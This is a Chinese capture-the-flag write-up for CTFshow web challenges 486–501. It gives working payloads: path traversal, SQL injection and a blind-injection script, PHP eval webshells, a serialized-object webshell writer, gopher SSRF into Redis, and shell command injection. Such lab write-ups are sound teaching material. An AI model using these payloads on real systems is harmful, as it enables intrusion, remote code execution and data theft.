CTFSHOW 中期测评(一)web486 - web501
文章目录
- 题目列表
- web486
- web487
- web488
- web489
- web490
- web491
- web492
- web493
- web494
- web495
- web496
- web497
- web498
- web499
- web500
- web501
题目列表
web486
打开之后发现是个登录框,PATH为/index.php?action=login
尝试修改/index.php?action=login
为/index.php?action=1
,发生报错
由报错内容可知网站可能存在文件包含漏洞,尝试进行目录穿越读取flag
/index.php?action=../flag
访问源码得到flag
web487
修改/index.php?action=login
为/index.php?action=../index
,可以查看源码
存在SQL注入漏洞,而且没有过滤,测试后发现没有回显,用时间盲注
先验证一下
/index.php?action=check&username=1&password=') or sleep(3)--+
没有问题
这里用sqlmap去跑结果了,省点时间
python sqlmap.py -u "https://39dc9317-0164-419c-ac40-b3d76de931e5.challenge.ctf.show/index.php?action=check&username=1&password=1" --batch -D ctfshow -T flag -C flag --dump
web488
打开题目之后,也是跟之前一样读取index代码
/index.php?action=../index
sql那里两个参数都被md5包裹了,不能用sql注入做了。继续往下分析,可以看到有个templateUtil::render('error',array('username'=>$username))
,暂时不知道templateUtil
类和render
函数有何用处
同时看到上面include
了两个php文件
通过目录穿越读取这两个文件代码分析后,发现 render_class.php
有用,db_class.php
则是数据库的一些连接配置,暂时用不到
/index.php?action=../render/render_class
可以看到里面定义了render
函数和shade
函数,其中render
函数我们重点关注以下代码
else{$templateContent=fileUtil::read('templates/'.$template.'.php');$cache=templateUtil::shade($templateContent,$arg);cache::create_cache($template,$cache);echo $cache;
}
$templateContent
获取templates/$template.php
页面返回的内容,然后$cache
调用shade
函数替换$templateContent
中的字符串,把{{username}}
替换为传入的数组key:value
中的value值,最后再调用cache
类中的create_cache
函数
上面可以看到包含了cache_class.php
,我们继续看看create_cache
函数有什么作用
/index.php?action=../render/cache_class
create_cache
函数先检查是否存在文件cache/md5($template).php
,如果没有则创建一个php文件,并把$content
写进去,其中$content
我们可以控制,且$template
也是固定的,那就很简单了
利用链:
templateUtil::render() -> templateUtil::shade() -> cache::create_cache() -> fileUtil::write()
我们看看index
关键代码
if($action=='check'){$username=$_GET['username'];$password=$_GET['password'];$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";$user=db::select_one($sql);if($user){templateUtil::render('index',array('username'=>$username));}else{templateUtil::render('error',array('username'=>$username));}
}
$user
不存在时就会进入else语句,然后传入$template
为 error,数组为[username: 任意内容]
。我们可以写个webshell进去,因为error的md5值为cb5e100e5a9a3e7f6d1fd97512215282
,文件会上传到
cache/cb5e100e5a9a3e7f6d1fd97512215282.php
要注意如果已经查询过的话,会进入else分支,那么cache/cb5e100e5a9a3e7f6d1fd97512215282.php
就已经存在了,后面再查询就会返回true,无法再进入create_cache
函数的else分支,也就无法再写入webshell了,这种情况只能重开靶机,这一点要注意
可以输入/index.php?action=error
测试一下,访问templates/error.php
,可以看到页面返回{{username}}不存在
,正好符合条件,可以把{{username}}
置换为我们传入的任意内容
重开靶机,然后GET传入payload
/index.php?action=check&username=<?php eval($_POST[1]);?>&password=123
显示不存在即为成功
然后蚁剑连接,路径为cache/cb5e100e5a9a3e7f6d1fd97512215282.php
,要注意把https改成http
在根目录找到flag
web489
继续看index代码
/index.php?action=../index
可以看到else分支改了,不能上传内容到error那里了,但是题目给出了关键代码extract($_GET)
,意思是将 $_GET
数组中的所有键值对转换成对应的普通变量,那我们可以通过变量覆盖来触发templateUtil::render('index',array('username'=>$username))
,效果跟上题一样
这次题目贴心给出了cache清除代码,如果你在登录框尝试登录过,那可以通过输入/index.php?action=clear
来清除cache目录,这样就不用重启靶机了
if($action=='clear'){system('rm -rf cache/*');die('cache clear');
}
方法跟上题差不多,不过payload要改成
/index.php?action=check&username=<?php eval($_POST[1]);?>&sql=select 1;
通过变量覆盖使if永真,然后读取的位置从error变成了index,其他一样
在根目录找到flag
web490
先来看看index代码,方法跟之前一样
我们关注重点以下代码
if($action=='check'){extract($_GET);$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";$user=db::select_one($sql);if($user){templateUtil::render('index',array('username'=>$user->username));}else{templateUtil::render('error');}
}
sql语句变了,username
那里没有md5包裹了,然后render('index',array('username'=>$username));
变成了render('index',array('username'=>$user->username));
那好办,方法跟之前一样,只不过这次通过sql注入改变查询的username
的值,使后面的$user->username
能返回我们想要的值
但是一开始输入payload
/index.php?action=check&username=1' union select '<?php eval($_POST[1]);?>'--+&password=1
会发现莫名其妙返回了一个?>
查看/cache/6a992d5529f459a44fee58c733255e86.php
,发现页面显示语法错误
那估计大概率是字符串替换后本身就已经被php标签包裹了,所以多出来的?>
就显示在页面上了。后面发现/index.php?action=index
可以看到传入后的代码,也验证了猜想
那我们修改一下代码,先输入/index.php?action=clear
清空缓存,再传入payload,后面的题目如果有输入过username这些,记得一定要先清空cache,不然内容写不进去
/index.php?action=check&username=1' union select 'eval($_POST[1])'--+&password=1
蚁剑连接,在根目录找到flag
web491
继续分析代码
被修复了,不能用之前的方法写入webshell了,但是username那边没有md5包裹,可以用SQL注入获取flag
payload:
/index.php?action=check&username=1' union select load_file('/flag') into outfile "/tmp/3.php" --+&password=1
然后目录穿越读取flag
web492
先看代码
这个多了一个正则,然后上题的templateUtil::render('index')
改回templateUtil::render('index',$user)
,可以继续用之前的方法
payload:
/index.php?action=check&username='1&user[username]=<?php eval($_POST[1]);?>
大概思路就是利用extract($_GET);
污染变量,然后username随便带个符号跳过正则验证直接来到templateUtil::render('index',$user)
,后面的步骤跟之前一样,也是通过字符串替换写入webshell
然后蚁剑连接读取flag
web493
先看代码
因为下面的render只传入了$template
,没有传入数组参数,所以不能走这条路。然后SQL那里又有正则限制,不能出现符号,所以也无法进行SQL注入,但是上面出现了关键代码
if(!isset($action)){if(isset($_COOKIE['user'])){$c=$_COOKIE['user'];$user=unserialize($c);
那我们可以用反序列化来做这题,读取上面的render/db_class.php
/index.php?action=../render/db_class
得到代码
<?phperror_reporting(0);
class db{public $db;public $log;public $sql;public $username='root';public $password='root';public $port='3306';public $addr='127.0.0.1';public $database='ctfshow';public function __construct(){$this->log=new dbLog();$this->db=$this->getConnection();}public function getConnection(){return new mysqli($this->addr,$this->username,$this->password,$this->database);}public function select_one($sql){$this->sql=$sql;$conn = db::getConnection();$result=$conn->query($sql);if($result){return $result->fetch_object();}}public function select_one_array($sql){$this->sql=$sql;$conn = db::getConnection();$result=$conn->query($sql);if($result){return $result->fetch_assoc();}}public function __destruct(){$this->log->log($this->sql);}
}
class dbLog{public $sql;public $content;public $log;public function __construct(){$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';}public function log($sql){$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';}public function __destruct(){file_put_contents($this->log, $this->content,FILE_APPEND);}
}
构建反序列化payload
<?phpclass db{public $log;public $sql;public function __construct(){$this->log=new dbLog();}
}
class dbLog{public $sql;public $content;public $log;public function __construct(){$this->log='log/3.php';$this->content ='<?php eval($_POST[1]);?>';}
}$a = new db();
$b = urlencode(serialize($a));
echo $b;
得到结果为
O%3A2%3A%22db%22%3A2%3A%7Bs%3A3%3A%22log%22%3BO%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A9%3A%22log%2F3.php%22%3B%7Ds%3A3%3A%22sql%22%3BN%3B%7D
然后cookie写入payload,记得要满足if(!isset($action))
,把action参数删去就可以
然后蚁剑连接
web494
先看代码
一开始看到templateUtil::render('index',$user)
,我以为可以继续用之前的方法,但是后面连接webshell怎么都连不上,读取/render/cache_class.php
代码之后发现php后缀改成html后缀了,那没办法了
反序列化那里加了if(preg_match('/\:|\,/', $c)){
来过滤,不过不影响,继续用上题的反序列化方法
payload:
<?phpclass db{public $log;public $sql;public function __construct(){$this->log=new dbLog();}
}
class dbLog{public $sql;public $content;public $log;public function __construct(){$this->log='log/3.php';$this->content ='<?php eval($_POST[1]);?>';}
}$a = new db();
$b = urlencode(serialize($a));
echo $b;
结果
O%3A2%3A%22db%22%3A2%3A%7Bs%3A3%3A%22log%22%3BO%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A9%3A%22log%2F3.php%22%3B%7Ds%3A3%3A%22sql%22%3BN%3B%7D
然后cookie传入,蚁剑连接webshell,找了一会找不到flag,那连接数据库看看,先读取/render/db_class.php
查看数据库配置信息
然后蚁剑连接
读取flag
web495
核心代码没有变
if(!isset($action)){if(isset($_COOKIE['user'])){$c=$_COOKIE['user'];if(preg_match('/\:|\,/', $c)){$user=unserialize($c);}
可以继续用上题的方法,flag在数据库
web496
查看代码
发现反序列化代码被注释了,然后SQL正则那里多了一些过滤,可以用万能密码登录系统
账号:'||1=1#
密码:1
进去后点击基本资料,可以看到管理员信息修改
查看网页源码,发现是通过POST发送请求到api/admin_edit.php
我们查看api/admin_edit.php
的源码,GET请求/index.php?action=../api/admin_edit
可以看到有个update语句,然后下面有修改成功和失败的文本信息。那我们的思路就是写个脚本,先用万能密码登录保持登录状态,然后在user[username]
数组里写payload进行布尔盲注,同时要保证nickname
不重复
payload:
import requests
import stringurl = "http://eb072399-7e45-41c9-a2dd-d30c29f993ee.challenge.ctf.show"
chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890[]{},.-_"
result = ""
session = requests.session()
session.post(url + "?action=check", data={"username":"'||1=1#", "password":1})for pos in range(1, 100):found = Falsefor c in chars:#payload = "'||if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}',1,0)#".format(pos, c)#payload = "'||if(substr((select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(pos, c)payload = "'||if(substr((select flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(pos, c)data = {'nickname': str(pos), 'user[username]': payload}response = session.post(url + "/api/admin_edit.php", data=data)if "u529f" in response.text:result += cprint(result)found = Truebreakif not found:break
运行脚本得到flag
web497
查看代码
$user=unserialize($c)
的注释去掉了,但是前面的正则匹配加了感叹号,也就是不能出现冒号和逗号,那我们不走这个方法,继续用万能密码登录系统,账号'||1=1#
,密码1
然后点击基本信息,发现头像处可以修改
直接file协议读取flag文件,存在SSRF漏洞
file:///flag
修改成功后右键点击头像,选择在新标签页中打开图像,成功读到flag
web498
也是上一题的方法,读/etc/passwd
可以,但是读flag读不到了,可能是权限不足,也可能是flag不叫这个名字了或者在其他目录
刚好看到/etc/passwd
里面有个redis
,输入dict://127.0.0.1:6379
探测端口开放情况
用Gopher协议打SSRF就可以,工具Gopherus
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
然后访问/shell.php
,查看根目录
读取flag
web499
头像地址没了,SSRF打不通
随便点了一下,发现系统配置可以打开
查看源代码,发现有个api/admin_settings.php
路径
查看api/admin_settings.php
源码
关键代码
if($user){$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));foreach ($_POST as $key => $value) {$config[$key]=$value;}file_put_contents(__DIR__.'/../config/settings.php', serialize($config));
它会把POST传进来的键值对放入数组,然后写入文件config/settings.php
,我们看看config/settings.php
源码
刚好对应的就是前面的系统配置页面,那我们在系统配置页面传入一句话木马
可以看到木马已经成功写入
蚁剑连接
在根目录找到flag
web500
上题的代码改了,不是写到php文件了,那我们换个方法
回到管理页面点了一通,发现数据库备份可以打开
查看源码,发现其POST请求发送到api/admin_db_backup.php
,那我们读取源码看看
关键代码shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path)
,那我们可以拼接命令读取flag
payload:
;cat /f*>/var/www/html/1.txt
然后访问1.txt
读取flag
web501
这次修改名称的地方不见了
查看代码,发现其多了个正则匹配
因为前面有个extract($_POST)
,然后数据库备份的源码写了POST请求的目标地址
那我们可以直接向目标地址发送POST请求执行命令
然后访问/1.txt
读取flag